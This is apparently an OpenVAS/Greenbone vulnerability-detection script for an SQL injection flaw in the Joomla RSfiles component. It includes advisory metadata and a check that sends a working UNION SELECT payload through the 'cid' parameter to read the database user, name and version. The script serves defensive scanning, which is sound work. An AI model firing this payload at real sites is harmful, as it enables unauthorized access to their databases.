Joomla RSfiles SQLi Vulnerabilities

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
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# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:joomla:joomla";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803441");
  script_version("2026-04-30T06:27:06+0000");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2026-04-30 06:27:06 +0000 (Thu, 30 Apr 2026)");
  script_tag(name:"creation_date", value:"2013-03-20 15:59:21 +0530 (Wed, 20 Mar 2013)");

  script_name("Joomla RSfiles SQLi Vulnerabilities");

  script_xref(name:"URL", value:"http://secunia.com/advisories/52668");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/58547");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/24851");
  script_xref(name:"URL", value:"http://www.securelist.com/en/advisories/52668");
  script_xref(name:"URL", value:"http://www.madleets.com/Thread-Joomla-Component-RSfiles-cid-SQL-injection-Vulnerability");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("joomla_http_detect.nasl");
  script_mandatory_keys("joomla/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to inject or manipulate SQL
queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data.");

  script_tag(name:"affected", value:"Joomla RSfiles");

  script_tag(name:"insight", value:"Input passed via the 'cid' GET parameter to index.php (when 'option' is set to
'com_rsfiles', 'view' is set to 'files', 'layout' is set to 'agreement', and 'tmpl' is set to 'component') is not
properly sanitised before being used in a SQL query.");

  script_tag(name:"solution", value:"Upgrade to Joomla RSfiles REV 12 or later.");

  script_tag(name:"summary", value:"Joomla RSfiles is prone to SQL injection (SQLi)
  vulnerabilities.");

  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe:CPE))
  exit(0);

if (!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

url = dir + "/index.php?option=com_rsfiles&view=files&layout=agreement&" +
            "tmpl=component&cid=1/**/aNd/**/1=0/**/uNioN++sElecT+1,CONC" +
            "AT_WS(CHAR(32,58,32),user(),database(),version())--";

if (http_vuln_check(port:port, url:url, check_header:TRUE, pattern:"File:",
                    extra_check:make_list("I Agree", "I Disagree"))) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);